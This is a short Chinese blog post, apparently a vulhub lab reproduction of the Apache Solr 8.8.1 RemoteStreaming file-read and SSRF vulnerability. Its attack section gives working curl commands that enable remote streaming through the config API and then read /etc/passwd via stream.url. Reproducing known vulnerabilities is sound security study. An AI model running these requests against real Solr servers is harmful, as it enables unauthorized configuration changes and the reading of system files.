Apache Solr RemoteStreaming 文件读取与SSRF漏洞

本文详细介绍了如何利用Solr漏洞在8.8.1版本中,通过curl操作修改数据库配置并实现远程文件读取。涉及步骤包括获取数据库名、设置RemoteStreaming开启,以及利用stream.url读取/etc/passwd文件的过程。
摘要由CSDN通过智能技术生成

漏洞复现

启动的环境为8.8.1版本
首先,访问http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json获取数据库名,vulhub的数据库为demo
在这里插入图片描述

发送如下数据包,修改数据库demo的配置,开启RemoteStreaming

curl -i -s -k -X $'POST' \
    -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \
    $'http://your-ip:8983/solr/demo/config'

在这里插入图片描述

再通过stream.url读取任意文件:

curl -i -s -k 'http://your-ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'

在这里插入图片描述
我没搞懂

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值